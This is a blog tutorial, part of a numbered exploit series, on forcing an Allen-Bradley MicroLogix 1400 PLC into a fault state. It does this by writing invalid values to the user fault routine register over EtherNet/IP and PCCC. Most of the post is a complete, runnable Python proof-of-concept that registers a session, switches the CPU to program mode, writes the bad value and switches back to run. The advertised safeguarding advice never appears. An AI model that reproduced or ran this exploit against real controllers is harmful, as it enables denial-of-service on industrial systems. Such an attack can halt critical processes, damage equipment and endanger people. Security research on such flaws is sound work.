In Exploit Development # 12 : User Fault Routine Exploitation , we’re tackling a significant vulnerability in the Allen Bradley Micrologix 1400 PLC. This time, our focus is on the ability to remotely trigger fault state.
In PLC configuration, even minor errors can cause major problems. A notable example is the vulnerability where setting invalid values—0x01
and 0x02
—for the user fault routine in Allen-Bradley PLCs can trigger faults when the device is in the run state. This issue can’t be addressed through standard tools like RSLogix and requires direct file manipulation.
In this post, we’ll examine how these invalid values can disrupt PLC operations and explore ways to safeguard your systems against such vulnerabilities.
What is User Fault Routine?
The user fault routine gives you the option to help prevent a controller shutdown when a specific user fault occurs. The fault routine executes when any recoverable or nonrecoverable user fault occurs. The fault routine does execute for non-user faults. refer here for more details
Objective
we’ve got key objectives:
- Identify the function and command codes, file numbers, and file types..
- change cpu mode.
- Create a malicious payload
In this post, we will go though remotely trigger fault state in PLC.
- Vulnerability Analysis: Overview of PLC systems & vulnerability related to Unauthorized Access.
- Exploit Development: Developing a Python script to exploit this vulnerability.
- Real-World Application: Showcasing the exploit on actual PLC hardware.
- Hack-the-Box PoC: Wrapping up with a Hack-the-Box style proof of concept.
In our PLC setup, we’re dealing with MicroLogix 1400 PLC. For context, you can check other related to NVRAM fault triggering in Exploit Development # 6
MicroLogix 1400 PLC: Device under test (DUT)
The MicroLogix 1400 PLC by Rockwell Automation’s Allen-Bradley is vital in many industries. Disruptions to its operation or configuration can lead to severe consequences, including halting critical processes and causing significant equipment damage.
Identified Vulnerability: User Fault Routine
This vulnerability allows an attacker to set invalid values (0x01 and 0x02) for the user fault routine in the PLC configuration. Here’s a closer look at the details:
Impact: When the PLC is moved into a run state after setting these invalid values, a fault is triggered. This can disrupt operations and lead to potential downtime or system failures.
Invalid Values: The values
0x01
and0x02
are not valid for the user fault routine in the PLC configuration. When these values are set, they cause the PLC to trigger a fault.Direct File Modification: The vulnerability is exploited by directly writing these invalid values to the configuration file. This method bypasses normal software interfaces like RSLogix, which do not allow such changes.
All they need to do is send the right packet. And just to show you how it works,
CMD:
0x0F
– PCCC command codeFNC:
0xA
A – write operationBYTE_SIZE: it decide how many byte data to be read/write
FILE TYPE & File Number:
This will decide that which register is going to be selected. please refer: phase 4 : DPI
File type File number File name 0x84 0x02 Data File – STATUS ELEMENT_NO
0x1d
we are selecting use fault routine of status registerSUB_ELEMENT_NO::
0x00
we are selecting base register based on file number & file type.for more info – refer to user manual
Confused? 🤔 Check Out These Phases for a Step-by-Step Guide!
Feeling a bit lost in the technical jungle? 🏞️ Don’t worry! If you find yourself tangled in the weeds of this phase, just take a detour and revisit our previous adventures:
- Phase 1: Basic Network Discovery – – – – – – – – – –> [Explore Phase 1 ]
- Phase 2: MITM Attack and Protocol Packet captuing – – – –> [Explore Phase 2 ]
- Phase 3: Packet Communication Protocol Analysis – – – – – – – – –> [Explore Phase 3 ]
- Phase 4: Deep Packet Inspection (DPI) – – – – – – – – – – – – –> [Explore Phase 4 ]
- Phase 5: Exploit Development – – – – – – – – – – – – – – – – – – – – – – – –> [Explore Phase 5 ]
Exploit Development: User Fault Routine Exploitation
Here’s a closer look at the Python script that powers our exploit. We’ll walk through its key components, so you know exactly what’s happening under the hood.
1. Create a Register session packet : Register_Session()
Purpose: Registers a session with the PLC, much like signing up for a new club. This function sends a registration command and retrieves a session handle.
Details: Constructs and sends a registration request to the PLC, then processes the response to get the session handle. This handle is essential for subsequent communication.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# Registers a session with the PLC by sending a registration command and retrieving the session handle. def Register_Session(): #Encapsulation Header Register_Session = "\x65\x00" Length = "\x04\x00" Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Protocol_Version = "\x01\x00" Option_Flags = "\x00\x00" register_session_data = "%s%s%s%s%s%s%s%s" % (Register_Session, Length, Session_Handle, Status, Sender_Context, Options, Protocol_Version, Option_Flags) # Create a Register session print "\nSending Register Session Request (Hex):" , binascii.hexlify(register_session_data).decode('utf-8') sock.send(register_session_data) reg_session_response = binascii.hexlify(sock.recv(28)) return binascii.unhexlify(reg_session_response[8:16]) |
Reference: Dive into [Explore Phase 4 🔍] for a detailed walkthrough of session registration and its importance in setting up your attack vector.
2. Build an ENIP packet : Build_Ethernet_instruction()
Purpose: Crafts the Ethernet instruction payload for the PLC. Think of this as assembling the perfect care package for your PLC—everything it needs in one neat little box.
Details: Builds a complete payload for sending instructions to the PLC, including encapsulation headers and PCCC command data. This function ensures the message is formatted correctly and includes all necessary information.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
# Builds an Ethernet instruction payload to be sent to the PLC. def Build_Ethernet_instruction(instruction_elements, session_handle): #Encapsulation Header Command_code = "\x6f\x00" #Length = here we call it Data_Length and it is calculate below Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Interface_Handle = "\x00\x00\x00\x00" Timeout = "\x00\x00" Item_Count = "\x02\x00" Type_ID_Address = "\x00\x00" Type_Length_Address = "\x00\x00" Type_ID_Data = "\xb2\x00" # Length = here we call it Type_ID_Data_Length and it is calculate below #Common Industrial Protocol Service = "\x4b" Request_Path_Size = "\x02" Request_Path = "\x20\x67\x24\x01" Requestor_ID = "\x07" CIP_Vendor_ID = "\x4d\x00" CIP_Serial_Number = "\x4b\x61\x65\x21" #PCCC Command Data PCCC_Command_code = instruction_elements['cmd'] PCCC_Status = "\x00" PCCC_Transaction = get_tns() PCCC_Function_Code = instruction_elements['fnc'] PCCC_Data = instruction_elements['data'] #Building PCCC packets PCCC_Command = "%s%s%s%s%s" % (PCCC_Command_code, PCCC_Status, PCCC_Transaction, PCCC_Function_Code, PCCC_Data) # Calculating combined length of multiple variables of Common Industrial Protocol (CIP) Type_ID_Data_Length = len(Service) + len(Request_Path_Size) + len(Request_Path) + len(Requestor_ID) + len(CIP_Vendor_ID) + len(CIP_Serial_Number) + len(PCCC_Command) #Calculating Encapsulation Header length # Convert the combined length plus 16(0x10) to a hexadecimal string, unhexlify it, and append a null byte Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length + 16)[2:]) # Convert the combined length to a hexadecimal string, unhexlify it, and append a null byte Type_ID_Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length)[2:]) ######### Creating the payload payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (Command_code, Data_Length, Session_Handle, Status, Sender_Context, Options, Interface_Handle, Timeout, Item_Count, Type_ID_Address, Type_Length_Address, Type_ID_Data, Type_ID_Data_Length, Service, Request_Path_Size, Request_Path, Requestor_ID, CIP_Vendor_ID, CIP_Serial_Number, PCCC_Command) return payload |
Reference: For a full breakdown of how to assemble these payloads, check out [Explore Phase 4 🔍]. It’s where we dissect and understand the intricacies of packet construction.
3. Create a Function to send Packets: send_instruction()
Purpose: Sends an instruction to the PLC and waits for a response. This is your direct line to the PLC, like making a call and eagerly waiting for the answer.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Sends a specific instruction to the PLC and returns the response. def send_instruction(instruction_elements,session_handle): return_response = "" instruction = Build_Ethernet_instruction(instruction_elements, session_handle) sock.send(instruction) return_response = sock.recv(1024) print ('\n\n' + '-' * 100) + ("\n\nComplete CIP/PCCC packet : " + binascii.hexlify(instruction).decode('utf-8')) + ('\n\n' + '-' * 150) #time.sleep(3) return return_response |
4. main function routine : overview
- Change CPU Mode:
- The operation starts by sending a command to change the CPU mode of the PLC. change CPU mode [Remote RUN -> Remote program].
- Set Fault Routine:
- Next, a command is issued to set the fault routine of the PLC. This is achieved by sending a command with function code
0xAA
. The data associated with this command configures the fault routine to a specific state or behavior. The fault routine dictates how the PLC handles errors or faults.
- Next, a command is issued to set the fault routine of the PLC. This is achieved by sending a command with function code
- Set CPU State to “Run”:
- Finally, the CPU state is set to “Run” mode.
1 2 3 4 5 6 7 8 9 10 11 12 |
# change CPU mode [Remote RUN -> Remote program] Change_CPU_mode_prog = {"cmd":"\x0f","fnc":"\x80","data":"\x01"} send_instruction(Change_CPU_mode_prog, session_handle) set_fault_routine = {"cmd":"\x0f","fnc":"\xaa","data":"\x02\x02\x84\x1d\x00\x01\x00"} send_instruction(set_fault_routine,session_handle) # change CPU mode [Remote program -> Remote RUN] Change_CPU_mode_run = {"cmd":"\x0f","fnc":"\x80","data":"\x06"} send_instruction(Change_CPU_mode_run, session_handle) |
Python POC for Malicious Payloads: User Fault Routine Exploitation
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 |
import socket import binascii import random import time import crcmod.predefined # Pads the hexadecimal string with leading zeros to ensure it matches the desired size. def pad_hex(hex_str, size): # Remove "0x" if present if "0x" in hex_str: hex_str = hex_str.replace("0x", "") # Ensure hex_str has even length if len(hex_str) % 2 != 0: hex_str = "0" + hex_str # Pad with zeros if necessary hex_str = hex_str.zfill(size) return hex_str # Generates a transaction number by converting a random integer to a 4-byte hexadecimal string. def get_tns(): return binascii.unhexlify(pad_hex(hex(random.randint(0, 65535))[2:], 4)) # Registers a session with the PLC by sending a registration command and retrieving the session handle. def Register_Session(): #Encapsulation Header Register_Session = "\x65\x00" Length = "\x04\x00" Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Protocol_Version = "\x01\x00" Option_Flags = "\x00\x00" register_session_data = "%s%s%s%s%s%s%s%s" % (Register_Session, Length, Session_Handle, Status, Sender_Context, Options, Protocol_Version, Option_Flags) # Create a Register session print "\nSending Register Session Request (Hex):" , binascii.hexlify(register_session_data).decode('utf-8') sock.send(register_session_data) reg_session_response = binascii.hexlify(sock.recv(28)) return binascii.unhexlify(reg_session_response[8:16]) # Builds an Ethernet instruction payload to be sent to the PLC. def Build_Ethernet_instruction(instruction_elements, session_handle): #Encapsulation Header Command_code = "\x6f\x00" #Length = here we call it Data_Length and it is calculate below Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Interface_Handle = "\x00\x00\x00\x00" Timeout = "\x00\x00" Item_Count = "\x02\x00" Type_ID_Address = "\x00\x00" Type_Length_Address = "\x00\x00" Type_ID_Data = "\xb2\x00" # Length = here we call it Type_ID_Data_Length and it is calculate below #Common Industrial Protocol Service = "\x4b" Request_Path_Size = "\x02" Request_Path = "\x20\x67\x24\x01" Requestor_ID = "\x07" CIP_Vendor_ID = "\x4d\x00" CIP_Serial_Number = "\x4b\x61\x65\x21" #PCCC Command Data PCCC_Command_code = instruction_elements['cmd'] PCCC_Status = "\x00" PCCC_Transaction = get_tns() PCCC_Function_Code = instruction_elements['fnc'] PCCC_Data = instruction_elements['data'] #Building PCCC packets PCCC_Command = "%s%s%s%s%s" % (PCCC_Command_code, PCCC_Status, PCCC_Transaction, PCCC_Function_Code, PCCC_Data) # Calculating combined length of multiple variables of Common Industrial Protocol (CIP) Type_ID_Data_Length = len(Service) + len(Request_Path_Size) + len(Request_Path) + len(Requestor_ID) + len(CIP_Vendor_ID) + len(CIP_Serial_Number) + len(PCCC_Command) #Calculating Encapsulation Header length # Convert the combined length plus 16(0x10) to a hexadecimal string, unhexlify it, and append a null byte Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length + 16)[2:]) # Convert the combined length to a hexadecimal string, unhexlify it, and append a null byte Type_ID_Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length)[2:]) ######### Creating the payload payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (Command_code, Data_Length, Session_Handle, Status, Sender_Context, Options, Interface_Handle, Timeout, Item_Count, Type_ID_Address, Type_Length_Address, Type_ID_Data, Type_ID_Data_Length, Service, Request_Path_Size, Request_Path, Requestor_ID, CIP_Vendor_ID, CIP_Serial_Number, PCCC_Command) return payload # Sends a specific instruction to the PLC and returns the response. def send_instruction(instruction_elements,session_handle): return_response = "" instruction = Build_Ethernet_instruction(instruction_elements, session_handle) sock.send(instruction) return_response = sock.recv(1024) print ('\n\n' + '-' * 100) + ("\n\nComplete CIP/PCCC packet : " + binascii.hexlify(instruction).decode('utf-8')) + ('\n\n' + '-' * 150) #time.sleep(3) return return_response dst = '192.168.0.102' port = 44818 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((dst, port)) session_handle = Register_Session() # change CPU mode [Remote RUN -> Remote program] Change_CPU_mode_prog = {"cmd":"\x0f","fnc":"\x80","data":"\x01"} send_instruction(Change_CPU_mode_prog, session_handle) set_fault_routine = {"cmd":"\x0f","fnc":"\xaa","data":"\x02\x02\x84\x1d\x00\x01\x00"} send_instruction(set_fault_routine,session_handle) # change CPU mode [Remote program -> Remote RUN] Change_CPU_mode_run = {"cmd":"\x0f","fnc":"\x80","data":"\x06"} send_instruction(Change_CPU_mode_run, session_handle) |
POC Demo: Hacking PLCs with Python
Ever wondered what happens when you combine Python with a PLC ? It’s not a new programming language but a gateway to some serious digital shenanigans!
As shown in the video, we’re able to trigger a fault state by User Fault Routine Exploitation which make the PLC go to fault state.
Conclusion
In this , we examined the User Fault Routine Exploitation in the Allen-Bradley MicroLogix 1400 PLC. We covered how to trigger fault state By directly modifying user fault routine register with invalid values .
Thank you for reading. Stay tuned for more insights and practical applications in PLC security.
<—Prev
Exploit # 11: Change PLC IP remotely
Next —->
Exploit # 13: Invalid float fault